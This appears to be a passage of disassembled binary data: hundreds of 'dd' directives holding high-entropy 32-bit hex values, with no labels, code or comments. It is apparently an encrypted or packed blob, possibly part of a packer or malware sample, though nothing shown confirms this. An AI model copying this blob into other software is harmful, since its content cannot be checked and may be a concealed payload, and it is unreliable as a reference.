		dd 1474112Bh, 1CBC6301h, 5C7436E9h, 650C8700h, 51890593h
		dd 4460D6D8h, 91C2CB08h, 0A34A3B71h, 5BF851E5h,	2C2116D6h
		dd 68005546h, 50EA1815h, 4F19E95Dh, 0F3CD8CF8h,	0C57EAD48h
		dd 91F05A5Bh, 2095A655h, 0F4A4272Bh, 60071B7Bh,	0E7D15F77h
		dd 764FEF23h, 0DC6B1698h, 4F00BED8h, 6C46260Dh,	2FD3941Dh
		dd 0A14FCDFCh, 2CD164A7h, 40051A9Ch, 0C4684B62h, 0E91AC731h
		dd 559493FDh, 786D57FBh, 0F577682h, 88406E18h, 4A945EE5h
		dd 0AB141EB0h, 4DAEF80Ch, 680943D5h, 0BADF64E8h, 4A535F82h
		dd 0C369FE25h, 0B1B1F6BDh, 12066817h, 0B500E00Ah, 0DEDC1DC5h
		dd 0E9893054h, 44CEEB74h, 0C4346C24h, 7093624h,	20425567h
		dd 51C080Dh, 2EAC3814h,	61CA4D44h, 6068DE15h, 3B1F8471h
		dd 95B10139h, 63842428h, 824B8D10h, 0F28B162h, 0BEB5604Dh
		dd 0EFE061Bh, 5D1651E9h, 32C4213h, 8D15C1FDh, 0CA3BBAEFh
		dd 433B043Dh, 6624F203h, 90E7533Dh, 5AFFD2E3h, 0F5D13124h
		dd 7532DD1Ah, 9224EFB4h, 6BB7409h, 196C36B2h, 2C970C0Ch
		dd 7C9A79EDh, 6CD36330h, 253711EFh, 96747259h, 1369E582h
		dd 3B067D2Fh, 53207687h, 8CE0BFAEh, 6B5E5E4Ah, 162163F1h
		dd 0BC68846Eh, 28439EB0h
		dd 5621135h, 0E1028630h, 585EC160h, 0ED42FE01h,	0E2150B0Fh
		dd 51AA373h, 0CD78CE0Ch, 0C0B70372h, 18B61A22h,	3824910Bh
		dd 0E96A8E27h, 77A2C2E1h, 5C348AE6h, 6AC8148Bh,	0FC055EA2h
		dd 688AE430h, 1CEBAC60h, 40001707h, 0E824D125h,	673CE96Dh
		dd 635E2270h, 0C0AA5C7h, 0B9635D68h, 0AA4FA8Dh,	0E047AD2Ah
		dd 0E15803E9h, 5A27FD2Eh, 0EE096905h, 7BBEE6D0h, 0C16C1310h
		dd 8E7B04E1h, 7D30BA81h, 7DDB8455h, 21425848h, 3208EFC2h
		dd 2DA90077h, 976DAB09h, 245526D8h, 4BF03A87h, 4A812D68h
		dd 0E9D04ED6h, 0A7B622Fh, 0A8238BAh, 35841FF6h,	4A91C2D1h
		dd 0FEA6E38Fh, 0DCF94F67h, 4D915165h, 2A900144h, 4B713AE6h
		dd 85EBBD14h, 473D0B05h, 0C045BC2Ah, 733F93EEh,	0CE293475h
		dd 0E9080428h, 5B79F087h, 384BB3ECh, 6857BE30h,	0A3604EF3h
		dd 0AEBF1882h, 0F659CE11h, 2ABE9FF3h, 2F5B6A59h, 8DC36554h
		dd 0BC1E1D4Fh, 107A1E41h, 530EBB29h, 87B34650h,	9024048h
		dd 0D665CE77h, 12815B99h, 0C96FA36Eh, 0A59B0077h, 334A4BE3h
		dd 535EC605h, 32C19DEFh, 78FE923Ch, 8525E94Fh, 364C987Ch
		dd 3068812Eh, 160946CFh, 54D6F75Eh, 92E60FBFh, 520890A0h
		dd 5BECD5BAh, 1E7F6358h, 294305B8h, 334FCE9h, 24CE8042h
		dd 0C4D7DEF6h, 0EB41D040h, 0CB2A1A4Ah, 525B8E73h, 8F5CFF2h
		dd 871943EFh, 9842D290h, 89E129A7h, 0C1DDF045h,	840DED5Ah
		dd 0A281CDDCh, 0FA32C34h, 30AC6131h, 4F171B21h,	0F5F06711h
		dd 163E9C25h, 0F3EDB054h, 8EB51F69h, 6E7EA4F5h,	84750EEh
		dd 0EFA6E912h, 574A7092h, 0BBF24060h, 89341B26h, 7FA0D717h
		dd 52C1748h, 1306AB3Dh,	259BC5EDh, 3CF25CDFh, 54911B7Fh
		dd 0AF004BACh, 0C15DE020h, 7E074CEBh, 0FF264B06h, 0E499547Fh
		dd 7EF6023Bh, 8E798C72h, 0CD2E02B1h, 1E84C822h,	2907274Dh
		dd 820F4F6h, 48140CD0h,	25771363h, 58EBA9D2h, 0D0012D6Eh
		dd 681283E6h, 0C98C7306h, 0D763165Ah, 0C606AE6Ah, 0C2176Ch
		dd 359E6BAh, 9062D1Bh, 290B2C05h, 71605D0h, 1918AEE6h
		dd 0DCF27DA8h, 0D9A6514h, 58B154ADh, 251CE1F8h,	3C642919h
		dd 4805013Ch, 0DDB9E960h, 415CC7Fh, 1D60DF8Ah, 0E254085Fh
		dd 0E3974F6h, 0E53BF69Eh, 7D978267h, 0A33532E9h, 0F95BEEF2h
		dd 0CED81C85h, 0BF081827h, 3DA0C54h, 4E601176h,	875ADF26h
		dd 6E4C9C16h, 0E952F260h, 7EC0969Dh, 0CB48C8BFh, 5F029D6Bh
		dd 5D12CFEh, 0B8123C44h, 0DFF41955h, 0E37E4516h, 90ED4E66h
		dd 0CE0E9AC0h, 0EDE2971h, 4F0A0495h, 0D9B727C0h, 0E8D54B33h
		dd 0C08C108Eh, 48C3680Bh, 0C904DCh, 6E628EA6h, 75495840h
		dd 1A002B3Ah, 3DE40521h, 25026FA9h, 355F15A2h, 40C8E240h
		dd 902E0F2h, 2904E955h,	120EBB5Fh, 8A1D3B77h, 2AEB7C65h
		dd 68BB5500h, 0F45F181Ch, 8018B234h, 0C0FAC09Fh, 994DC2EDh
		dd 293EB3FCh, 0E19FF2D3h, 374959C2h, 13A28374h,	263BE834h
		dd 7AB01681h, 3F9E7455h, 750648C2h, 78137CE4h, 0B55271E9h
		dd 2EFDD1EEh, 5A1282BFh, 4ED6015Bh, 179C2052h, 68515505h
		dd 1FC1297h, 8F6E49C1h,	40953161h, 6233F614h, 7A3AEF25h
		dd 7320195Bh, 6BF1B60Dh, 0ABD6628h, 0B66191F0h,	32A303E3h
		dd 0C044BC3h, 3E4A4758h, 21426280h, 291C1AA0h, 8011CCDh
		dd 0A00D76E9h, 8920AA48h, 68590BAFh, 5D716C7Ch,	7EDBA295h
		dd 0F39D47E8h, 1053126Dh, 0B6946C38h, 3574AB04h, 0EB3EC04Bh
		dd 7E619F1Ah, 0C157CFD0h, 9C29120h, 0F441ECDh, 8A096FEh
		dd 0F8222C90h, 0DEF03CEh, 89F384B1h, 128FA6DDh,	5DA721EAh
		dd 0C444A75Fh, 18E4CB01h, 69F1BD5Eh, 51A98662h,	7FA27C6h
		dd 5501FB4Fh, 310BE8C1h, 0AC375C74h, 604AF640h,	0DAC2BD5Ch
		dd 147BBB18h, 9073FEDh,	5A833BBFh, 83DC0169h, 0E956FA03h
		dd 0F77ADE3Ah, 5C2DDD64h, 0F6488DAEh, 660E4F51h, 1531176Eh
		dd 0E22E2DA3h, 0BC5328A7h, 3C327E08h, 0CD860276h, 5AE189C3h
		dd 2EDD6690h, 54C5E5C1h, 0EAC48D24h, 0FBFB2E0h,	4BB00575h
		dd 0FE57C544h, 69EC6CDDh, 0EA16D2A6h, 5B610279h, 0CF21106Eh
		dd 0AC94E5B7h, 21D74A17h, 0C2CE7E39h, 0B27EDCE9h, 0BDB2AC17h
		dd 2CC1B682h, 3EF0EBC1h, 3867E8F2h, 0DBE9B2B3h,	596902F0h
		dd 427EDE22h, 23AC56ECh, 10D7B7F4h, 33C90ECh, 0F444B292h
		dd 6E3C232Ah, 507580Ch,	49AC7C7Dh, 0DF263982h, 6801F466h
		dd 71501C16h, 8F42475Fh, 8E9E55ACh, 7A06D480h, 0A27FD827h
		dd 513A7D30h, 1B8689B6h, 8C203B46h, 941EB02Fh, 6D63C3D9h
		dd 0FA2D0A01h, 562CE003h, 748E3C30h, 0CB584B2Ah, 6CF106A5h
		dd 2F40457Ch, 0E882AEBh, 0F4A98B2Ah, 97A71BF5h,	1A20240Dh
		dd 4A4E406Ch, 280CC2B0h, 0C32C250h, 376D16C5h, 4E520B6Ah
		dd 95CA14D7h, 0EB47EB0h, 79B880h, 2D129A1Eh, 1561434Dh
		dd 5D6653FEh, 0FB04DDF1h, 2D20C047h, 0E6E92578h, 92C882EFh
		dd 0A48915E6h, 90303CF4h, 0A6195966h, 0CCB2813h, 0CD069DECh
		dd 0D061EBECh, 2FE9CF0Ch, 582627FFh, 0EA811174h, 766D552Bh
		dd 2D1FB55Ch, 95DC0139h, 1C54CCE3h, 21C30321h, 511245A8h
		dd 72BC8CB5h, 0F3D6E915h, 0C601B04Eh, 36316917h, 758231EFh
		dd 225E7150h, 54FD4E7Bh, 9C0A26B1h, 0F0DE6690h,	0F050680Ah
		dd 78BE014Bh, 40DE410Eh, 90F4B993h, 1A5C256Dh, 534052D9h
		dd 90AFB151h, 30134107h, 3CC0F9C5h, 7D3D75BAh, 0FE3158FFh
		dd 0ED4C4B04h, 3BC0A973h, 0E2959E9h, 6918AA2Dh,	8B478F49h
		dd 329B761Dh, 0C956ED9Ah, 7652982h, 8D815F62h, 7A6FC10Ah
		dd 16C958A4h, 1E1D468Eh, 71FB448Ch, 3FC0AEC6h, 18AF2379h
		dd 12CE09FAh, 3B1782F6h, 5AC071EDh, 0BD19AA68h,	8F8F11Bh
		dd 2D1D5E20h, 518611E8h, 83F5F5E9h, 0BD1A1D98h,	98271809h
		dd 0A5321B68h, 60085065h, 1D3D29A0h, 0FD4611E2h, 0D05AE70Fh
		dd 62059h, 0B9A1C0Ch, 3120E9F5h, 0B9CDFD6h, 4F8AD465h
		dd 0D854F2C4h, 0CDB4EEBEh, 472E532Dh, 0C0C8EB39h, 410B2AC3h
		dd 702965B4h, 8B0880B1h, 93F19D2Ch, 46799C2h, 4C9ACBADh
		dd 0E371235h, 0C9825437h, 4F0C7610h, 10DBDA1Dh,	2875655Fh
		dd 544C9790h, 5AF4C1B7h, 0C4C2343Ch, 0A280391Bh, 0A9D86BEAh
		dd 7309072Dh, 214E8915h, 2D981475h, 952029FCh, 54CB71E8h
		dd 6F406BF6h, 948DEC5Ah, 31B90250h, 0D943A242h,	6E6601DAh
		dd 0EB67930Ch, 95159A26h, 8EF87794h, 5C18F061h,	0D868CF35h
		dd 6A712927h, 856592Dh,	6805EC0Bh, 99BA0D0Fh, 0EAAD0CE1h
		dd 21419298h, 1FD5F47Eh, 42101461h, 0D07EDAF7h,	5B1688FCh
		dd 0E40C2C62h, 0BD60DF08h, 0E1DF0580h, 9F73F301h, 67CA05Bh
		dd 6961504Ch, 7439A9B8h, 0EB41A5E3h, 0C1E8DC43h, 0BC053DC8h
		dd 0DD8C12DAh, 734306C8h, 91075D5Fh, 275D0740h,	0FCAD589h
		dd 0A532E6FAh, 57314812h, 8BEDC500h, 5D4E392Ah,	816EAD4h
		dd 74B267ACh, 5802DC50h, 0B8425A2Dh, 61FBAD14h,	0A3DE9042h
		dd 0B9525BF1h, 32A5F28Ah, 0D446FB60h, 6F305C81h, 76C69FF4h
		dd 67509531h, 0C804C6B4h, 331EB7F7h, 9728FD28h,	0B8621A24h
		dd 0FF525862h, 82A46736h, 0F9C0864Eh, 24061CB9h, 3B2B23EBh
		dd 0EE4D8E00h, 0C159CA09h, 0FD03EA28h, 20AD7E04h, 1A04011Dh
		dd 0EA31002h, 737BB53h,	0DFD52117h, 0C6F3A497h,	0F2898958h
		dd 0ECD61468h, 0C0E98444h, 0BD00EAB8h, 47D20F58h, 172D53BEh
		dd 356D00C6h, 74328A57h
		dd 2800E5E9h, 0E19559E8h, 0E43E032Dh, 0C17B806Eh, 0E9ABCFFDh
		dd 0D0C058A9h, 66F8FE05h, 3226816h, 367C20AAh, 5AF8D130h
		dd 6B45007h, 614EC480h,	0E4C06ECCh, 9FD4F6E4h, 0E50CE2D2h
		dd 5A58E108h, 51663314h, 303D9136h, 0EFF494CEh,	148F2588h
		dd 0BBBD2404h, 4A24BB0Eh, 0DB2F02h, 18B65207h, 14D9F304h
		dd 201B64A8h, 0F6372DE5h, 4D9304D6h, 17505ABCh,	0A52D9061h
		dd 3A5AE25Fh, 0D4E57B1Ch, 802B121Fh, 7856682Ch,	0B8446B7h
		dd 2A7B04DBh, 0E69510F5h, 4D37090Ch, 7B09EE29h,	8D74F002h
		dd 0C0C1ED0Eh, 13AB5CF2h, 4F70FFB8h, 371454D5h,	0C5110171h
		dd 0E90C206Ch, 0A09D5645h, 9D663C5Dh, 97317C11h, 0DD2486D3h
		dd 0E1406858h, 2578CB73h, 0E31803E1h, 0E26093E9h, 7F49EA8Fh
		dd 526B08Ah, 0BA486DC2h, 4132A128h, 3ED1F620h, 1BECC452h
		dd 62291673h, 2BD70464h, 44E2BA01h, 0FD63899Fh,	6F83A1DEh
		dd 0DB76591Fh, 948B4CB0h, 30067507h, 0A5F0B30Ch, 94E3A13Bh
		dd 64E26F9h, 75034986h,	259B750Ch, 0BF613691h, 94033FE4h
		dd 92CB8853h, 59E083DCh, 0E0B9DC35h, 0AF1904D2h, 5C2DBEB6h
		dd 5857B33Fh, 240F22D2h, 584E143Ah, 0D99D31EFh,	5688BE7h
		dd 0C20A9B5Dh, 9DEA703Eh, 0AD0D7F8h, 76E516B8h,	78FAF634h
		dd 22AE9D4h, 0CA9C2AF4h, 0E21A4202h, 91C65D7Eh,	0EE6E912h
		dd 2D20B9DDh, 5D011761h, 4F0C077Ch, 0E9025308h,	0A7463CDAh
		dd 9685C14h, 0FD23C15Fh, 0A17836FCh, 605B2DC0h,	0E9251317h
		dd 5AE68685h, 0D928501Dh, 5F3240F2h, 74CB8730h,	677EADD0h
		dd 24DDEABFh, 0D30EAEEh, 14A3BA5Bh, 0EDA479C8h,	2775E304h
		dd 0C2F6E053h, 835E08A0h, 0EEB06EEFh, 9D1F122Bh, 2C280114h
		dd 3163F470h, 5ADF686Fh, 2A1659E3h, 27E08C37h, 907D39Fh
		dd 371805B0h, 0D80D774h, 0F91300DBh, 0D91D2D36h, 0F72F0AE1h
		dd 83E1FCD0h, 0CDE90E33h, 6B4AD8Dh, 75953907h, 0F332090Ch
		dd 1DDE2934h, 1194025h,	0E1CEEBF9h, 0A0053645h,	7900FC58h
		dd 53550823h, 2C529E68h, 16734478h, 2D32B2BAh, 5D790081h
		dd 3A37DE05h, 9C8462B1h, 0E811DF0Dh, 8A8425D1h,	566273E9h
		dd 89D50942h, 35425741h, 277F4DFDh, 0D5E97FA2h,	402CAB5Ch
		dd 1D4F28Fh, 0D129FBFDh, 123B0CFDh, 97401C28h, 8B12BACDh
		dd 28842FE8h, 599BD2Dh,	22BD5CA6h, 780251C0h, 4B4030B1h
		dd 0C24A10Eh, 250A6248h, 0B24F435Bh, 85DD095Dh,	87EE4182h
		dd 0EC760149h, 7F867F6Eh, 58AE1E3Ch, 0D5F06596h, 4084B66h
		dd 20056106h, 2A5BFE01h, 7874F200h, 0B5294241h,	8839B78h
		dd 3B0C3FE9h, 755E1F22h, 5ABB4ECEh, 0EDADFD13h,	0FA2D5C80h
		dd 3C50C205h, 6F16BFD7h, 0C2E02708h, 5C01693Ah,	2CD60077h
		dd 74F828E7h, 5B6FCB04h, 3DC49C5Fh, 664CC2E9h, 8F54E38Eh
		dd 138BA24Ah, 0BDA3092Ch, 9E5F58CBh, 0B05B70EBh, 0DC682FFBh
		dd 1C9F1C5Eh, 4931516Dh, 0A0939B85h, 66125219h,	0A81454BAh
		dd 7A591E03h, 0FD6294Bh, 0CBB8C5FCh, 0E8C1B680h, 0F8E92D06h
		dd 24BAAF40h, 2921791Eh, 0CEB4409Dh, 13119ABBh,	289047F4h
		dd 5C30BDB7h, 880E49FCh, 0EE6058E5h, 80C6FE59h,	0F86BE639h
		dd 0B0B08370h, 29208B5Fh, 28E1C691h, 0B5B83145h, 2E01B0FAh
		dd 0E9DF0CD5h, 888004A3h, 16B2B951h, 4903117Ah,	28C98141h
		dd 40408A08h, 24FC910Fh, 8A0F3A6h, 61253D8Ah, 443B523Bh
		dd 5ADB7h, 651856BFh, 9FFCF412h, 6F504507h, 5C7A0729h
		dd 54B23B0h, 4650F0DFh,	125E9A75h, 0BE02EEC1h, 0C66C4Eh
		dd 2134C0B5h, 8C079CF1h, 502E79EAh, 0E6E476B0h,	10FE7395h
		dd 0C00D3B1Ch, 52F5092Dh, 690008A7h, 463B4398h,	0C06ED895h
		dd 0B4912686h, 0F8092941h, 242873E9h, 0E5A0C579h, 19962E3Bh
		dd 935425DEh, 0D8460B6Fh, 0C7BB0528h, 0BFA67E68h, 0FB52E387h
		dd 0AAF38079h, 95745805h, 2EB0E05h, 0D7E8E908h,	668846DCh
		dd 0E18985C7h, 99338568h, 5D313AB7h, 0D6217AD9h, 21DE57Fh
		dd 9735D08h, 2721FB08h,	0BE009BDAh, 0BC82C84Ah,	0A95EF031h
		dd 0C83B21EAh, 0DF5BCE6Bh, 5F74C97h, 0C61006C5h, 0FF605C3h
		dd 8B050DFEh, 0DA905EF7h, 97D4E0E9h, 854A39F9h,	0E85E4D10h
		dd 0EE9FA1EEh, 0B117BD33h, 2CAB0955h, 103CE671h, 591FCAFEh
		dd 4EBACB5Ah, 0C509915Ah, 67B762Eh, 0B50DC1C7h,	4419388h
		dd 0D3A227E9h, 0CE93F1A2h, 8616DA28h, 167DB838h, 36016C14h
		dd 5B7404BBh, 0D1CD80C6h, 0C0217619h, 1D6B290Ch, 0E3FA4358h
		dd 9577EA0Ch, 2E731A41h, 9F7C122h, 0E17CE8FBh, 1749E79h
		dd 0D6CBD5Eh, 2F7BDE4Ch, 28A04057h, 0BF0F05D6h,	84305354h
		dd 0C0AD1798h, 113E168h, 5785ADB9h, 0EE22D968h,	0EA45022h
		dd 93C3805Ah, 0EEAEB67h, 0BFB551C0h, 0F98C5FEh,	905BC40h
		dd 6F074B13h, 7B56D6C2h, 3D25F549h, 0EA1CD5A4h,	0E065BBC2h
		dd 98F02829h, 9B083086h, 2960C6E9h, 7EFE3E62h, 0E036D656h
		dd 308EED80h, 6807AF96h, 484961CFh, 0BC197626h,	301C6142h
		dd 87F7C9FEh, 86D7F608h, 0AA0AE981h, 53EA7181h,	703B1E04h
		dd 5D002583h, 595E0554h, 9FFB44E9h, 0E452E291h,	0BE9A6B6Ah
		dd 1A719B09h, 81A8DE4Eh, 0FDBEC1EDh, 6FB261FAh,	702B932Ch
		dd 28FE97F9h, 50205C51h, 0D3E65E7Ah, 0BAB9AB6Ch, 443B2101h
		dd 0C0819F1h, 0BFCF8C2h, 4BE55A49h, 0BE1C78ABh,	0B353F20Bh
		dd 10CD507Dh, 26DA98E9h, 0D6243F5Ah, 2E4B2000h,	0DDCD2953h
		dd 283E90FAh, 70E5E805h, 6402EA2Dh, 0E937E139h,	66CAE9CBh
		dd 0DDD24A75h, 0E2BC7BE6h, 4F995F52h, 0DF02F229h, 7F0E879Dh
		dd 4035CE91h, 3B1BF6C8h, 9D801C14h, 2D338306h, 0E09FE93h
		dd 787BE9DCh, 2B7497F1h, 5E049054h, 4F5744Bh, 0A5D6D2B6h
		dd 0D6E76EE2h, 0B801A4D4h, 8144BF2Dh, 5478DCEEh, 0CE046576h
		dd 68C0067Bh, 740A5C80h, 6C15604Fh, 1C3C2E05h, 8D0C519Ch
		dd 0FF28778h, 4E3A2524h, 19D84A69h, 200AD89Dh, 0F71CE2A5h
		dd 36BA87DEh, 387208D3h, 66D820B0h, 4C09F603h, 180030F0h
		dd 0CC3764FFh, 0D659A2E9h, 0AC557462h, 58B4049Fh, 0A7BC160Ah
		dd 1A2D3981h, 712927Eh,	6CA590BBh, 7BF3E0C2h, 0F63A57B1h
		dd 58C61298h, 7F519EABh, 0F79D345Bh, 0E912F862h, 5DF24EBCh
		dd 30214CC9h, 0C2BEF380h, 9074EC7Dh, 2EBB7010h,	9A75AF0h
		dd 0B6C62B3Dh, 18572020h, 0F9CB3AE9h, 6D343DF7h, 38808672h
		dd 0FE87D929h, 0B3625E9h, 6F824012h, 58028E53h,	3BEB4155h
		dd 8CB79F53h, 0A29456A8h, 447AB513h, 16F53E74h,	2CAE0516h
		dd 515C661Fh, 0D5F60EA6h, 0EBEAAE52h, 0AA2D01D4h, 4710010Dh
		dd 5800A245h, 25DACA81h, 5EE9139Bh, 52FC09D7h, 0DA2E580h
		dd 0BA0E1963h, 0D288627Fh, 3D04BE01h, 0C870AE4h, 84474686h
		dd 8B84EF29h, 5F70810h,	51E60D78h, 8006EB0Bh, 6E312C45h
		dd 3DC8901Bh, 0D84D3ABh, 0C87A4FE9h, 0FFFEB881h, 9227267Bh
		dd 2D16969h, 44846810h,	0CA3B9897h, 9E1631E9h, 3A13EC1Fh
		dd 79562630h, 0F0175A51h, 7B033354h, 0F4E975B8h, 0E1331368h
		dd 0DC66BA6Fh, 63A61CBAh, 2456413h, 3A51239Fh, 81FBCCC1h
		dd 3C8CC2A9h, 0B4800228h, 6AC84C21h, 125A67E9h,	6B85C1A9h
		dd 0E267A5D6h, 2B8AC25Eh, 0A7BE6359h, 7E3C8B4Eh, 7A4B0221h
		dd 0C1810EDFh, 8ACB5178h, 0DE18B8B4h, 7E7C105h,	6AFDE107h
		dd 76213502h, 0F4F70109h, 0D8104D67h, 3F1845CFh, 0A61876FDh
		dd 3A06124Eh, 204CFF31h
		dd 3255E58h, 87454872h,	60A4AD3h, 0BA01C383h, 5A42DC00h
		dd 5E99687Ch, 56DC603Fh, 40BD6176h, 969508Bh, 0A9E90B1Ah
		dd 6852B940h, 0EB7E5D7Fh, 0FE298C0h, 984D5E6Dh,	5E70983Bh
		dd 0E9ACA0B8h, 2785A35Dh, 0CB5FFB52h, 89448A71h, 4ED2A3AEh
		dd 685E7AF7h, 0EC45B39Ch, 0C9F7E89Ch, 2E055D14h, 34D5CD0Ch
		dd 19965927h, 1E288500h, 63D8E927h, 535BE625h, 68732575h
		dd 0D75F3C62h, 0F00BC61Dh, 300E65DBh, 2DC1BBC0h, 51E2174Fh
		dd 0FDDC0CAAh, 0DE3FC5A5h, 63092F4Ch, 0DDC7FA70h, 9C0CE4E6h
		dd 0E73D6E3Fh, 848733E9h, 0CB8D5920h, 91F040CBh, 0F8F65216h
		dd 29168FBCh, 6CBA06F5h, 0C2075947h, 501969ACh,	55E338B2h
		dd 3190F259h, 16DF909Ch, 4201D701h, 0B167B27h, 4C1C9870h
		dd 9DE6A1Bh, 66275F18h,	47B6F5F8h, 0E3565397h, 1D1FC39Dh
		dd 0C83B5FFBh, 61955A64h, 0CA4097ECh, 12090BF5h, 74818153h
		dd 0D5334422h, 7027C29h, 668465Eh, 8877711Bh, 0BD01DB75h
		dd 18915264h, 0D84CA940h, 0E9E70BEBh, 0E1986872h, 0F39DD021h
		dd 39DCCB77h, 4F6DCA71h, 387BC702h, 0DF379Ch, 0A159E331h
		dd 50B6AA47h, 3B30981Bh, 0E7CA1E8Ch, 9355725Ch,	0CEF16E47h
		dd 0C559537Eh, 8DE5C120h, 56289397h, 0E21677FBh, 2E64EC86h
		dd 7F193569h, 0C3682501h, 4E6C3315h, 2FA0D75Dh,	2D219548h
		dd 0C674419Bh, 2A28AD5Eh, 9B84D40h, 261070EDh, 0AB1ABCFCh
		dd 0DBCF0051h, 7C141171h, 7C8EBF87h, 0EDBB4B9Dh, 2664A42Fh
		dd 0B99DFB28h, 41537524h, 8C1A60A1h, 28F51A0Ch,	4095EA01h
		dd 1718BE62h, 9725032Dh, 0FF475043h, 0E8355F63h, 8BBAD30Ah
		dd 0ADA926B6h, 2E05668Eh, 0D35D8E56h, 5242620Fh, 1BF88D57h
		dd 303DE017h, 446855BCh, 0DC29184Eh, 0E9AA983Bh, 0D1EF2727h
		dd 16CA4394h, 0FA310A17h, 0FF28F07h, 0C4BFC517h, 43CA6C90h
		dd 8CA66816h, 479754C9h, 147F2565h, 5466EAB7h, 5CB5C77Eh
		dd 643D52BEh, 91DDF8BBh, 1EA6CF3Bh, 0EF5A9749h,	21E03864h
		dd 2090A2E9h, 0B99C58B8h, 0CC896A6h, 0C3C2F831h, 4D345A12h
		dd 0D2EBA400h, 0C16D1A2Ch, 4962B30Ch, 40E0213Ch, 853FF622h
		dd 0BE80D5Ch, 0A94252h,	65CEE59Dh, 0A07550DDh, 99FD582Fh
		dd 0C3E1D24Bh, 350B2992h, 0C580800Bh, 0C059C808h, 12D8E05Ch
		dd 8EE3AC28h, 792C4179h, 1B8F044Ah, 38C53056h, 0C34292EBh
		dd 9ABE9179h, 0DF3419B7h, 0FA142A01h, 33EDEC2Bh, 19E2B0A8h
		dd 40F70C27h, 0B4C4052h, 0D689653Fh, 755ABADEh,	0CE02DE71h
		dd 40146496h, 0ECDCF6D0h, 0AC5F4F1Fh, 0D2514820h, 0B04E9CF2h
		dd 3104812Fh, 0EF2949D2h, 9CCAC2h, 0A529D68h, 13592A3Bh
		dd 0B6E358AFh, 0B8DA182Ah, 0F1ACB0A0h, 0A894BB40h, 0BC105BFCh
		dd 595900Eh, 75026887h,	401E35D8h, 49BF5DB8h, 8C2A54ACh
		dd 0DE6FAA88h, 0C5EEE9D6h, 0EA918C1Dh, 0DC0BC1F7h, 5018AC08h
		dd 0AF0E02A6h, 5202E96Dh, 0D38BF26Ah, 0EE97A37Ch, 1D076108h
		dd 0E0EA9657h, 7C965867h, 0F8681656h, 0E2458C59h, 79B787B8h
		dd 0E5DA621Ch, 0ED5016Ah, 0D21C979Dh, 65C0AB16h, 979089E9h
		dd 928A2047h, 358BC41Fh, 51303037h, 5EFAC2F0h, 83C3DFF7h
		dd 0FEEA3563h, 8F09DD87h, 843971D0h, 0C22DB050h, 90F2D30Fh
		dd 9E55B716h, 1F81C0B4h, 253CAAF3h, 7EA5A556h, 1D9A090Dh
		dd 3169395Fh, 0E904AA37h, 8C010AF4h, 6A4B3E10h,	0E9B074B9h
		dd 0A09F5FA2h, 0D13FEE9Eh, 9856B040h, 4A088368h, 3F8CB50Ch
		dd 0F77A2C29h, 44BAD29Fh, 13DB821Ah, 61E84289h,	4714CAEBh
		dd 2D602FA2h, 7B3F9E95h, 34ADC8h, 4605ADE1h, 963E427h
		dd 0E40F5F2Dh, 0C1D81704h, 732FB1D3h, 4B0978D3h, 0D7365150h
		dd 0B6C56390h, 60C015B2h, 731C1AE7h, 4AD3FA55h,	62F7B268h
		dd 0F50A5A12h, 7698351Eh, 0C853B30Ah, 2597CB1Ch, 9B91E657h
		dd 10B02781h, 1CAD68FDh, 0CFA4B791h, 0C5539C0Bh, 79881EBAh
		dd 458E717h, 0BADE9EBDh, 5DF6B2E2h, 577E682Ch, 5C96F7C9h
		dd 4CA95B4Ah, 1B379196h, 0F629A511h, 15E9582Eh,	0B40A8062h
		dd 0FAA84190h, 0B503373Bh, 484E4229h, 0F0755020h, 0A0F44BC9h
		dd 0D9B5582Ch, 0A07DEB97h, 0BDB25250h, 2E22DC0h, 0F6737CC6h
		dd 0C5EC79BDh, 0C1D52029h, 96372B66h, 0C0E2E126h, 0A7455D17h
		dd 62885C92h, 3FDA413Ah, 0A36BF4F1h, 0CBABD3EDh, 2F444258h
		dd 0FA99E937h, 0CBFEB3DDh, 821085B3h, 5108493h,	0FD73BE09h
		dd 0FF4F5380h, 6A7DE966h, 3BC04A1Ah, 0E6C66E93h, 0B0680BDDh
		dd 8C1C5536h, 39E9D013h, 50B9EEA0h, 88D54F2Ch, 55B0B68h
		dd 0F918F7B3h, 41E97026h, 58125E9Ah, 0C1EE1C1h,	0A1ABD18Ah
		dd 0FF2C778Bh, 559B210h, 3688C0Eh, 6D0FA101h, 0F8426A7Ch
		dd 5707802Dh, 51907BFh,	76E90832h, 1FCCEFCBh, 0C98DBAE3h
		dd 0D6D0B466h, 9EF7BE3Dh, 0FB8D3AF0h, 6F10C708h, 9D5759CBh
		dd 50000373h, 0E9066E3Bh, 1D2A9631h, 0C1F78D52h, 83DBD122h
		dd 0F26FA926h, 7E3D9F6h, 0FAFC1282h, 7EC13CA7h,	6F9015A4h
		dd 951B4809h, 15189683h, 0E739AEADh, 0CB567AFCh, 6F5BFD9Bh
		dd 1B9A343Ch, 0C0BAA7C4h, 12B92D90h, 9F9DA12h, 4D3406AFh
		dd 0C602C9D6h, 39F66004h, 242F7E5Fh, 75960B59h,	7949E75h
		dd 0A081CB7h, 2F0B6DBAh, 67E90881h, 5B28CB2Ch, 0D8C82747h
		dd 7F2735F9h, 1D6A99A2h, 3E3CEF91h, 841A5BB7h, 60551E71h
		dd 0A8E09D42h, 0B053D5A9h, 0B10A5BD6h, 0CFCA7A9Fh, 17E951C1h
		dd 76CC6BFFh, 0E3019DD1h, 7BB6C380h, 7370FCB7h,	0F8B84AE8h
		dd 536AB147h, 0B109A836h, 7DD80DFh, 0FAB9F675h,	584EC7Fh
		dd 56333D1Ah, 1CC0F35Bh, 7905FDB9h, 0AF853141h,	1F665680h
		dd 52DCC063h, 306BE368h, 3BE9231Ch, 0E27552B7h,	0E3448F31h
		dd 4E0DB73Bh, 0CB43CDB4h, 0C1546CD4h, 6890C809h, 82B085C8h
		dd 0D826F061h, 8F97C69Bh, 3F20C50Fh, 0F22525FDh, 81F4ADC3h
		dd 3E33E9h, 5A0850B5h, 0BB2416EBh, 53C33A70h, 0E9DD1720h
		dd 0D17E811Ah, 0A704BCE7h, 0F6FF40E6h, 0F9E4EED7h, 0BFBD0E82h
		dd 9F0BE62h, 0E3BCB90Ch, 5F1FB41Bh, 0FAD625FFh,	0DBCFD51Eh
		dd 57A23A07h, 0B503587Bh, 406B14Eh, 70231B0Ch, 3F1EB0Ch
		dd 0B2E90801h, 0E231406Bh, 40322E9Ah, 19537BF7h, 10147B14h
		dd 0E040FB4Ah, 0B267162Eh, 13A5B614h, 0E8F41ABFh, 0E3844AC1h
		dd 0D75212CEh, 6BF84B52h, 8DB8500Eh, 0A55C19A7h, 8044E9C1h
		dd 1D65FCBBh, 9AFFEC76h, 7A61274Dh, 94C401E6h, 0DFF3EA7Eh
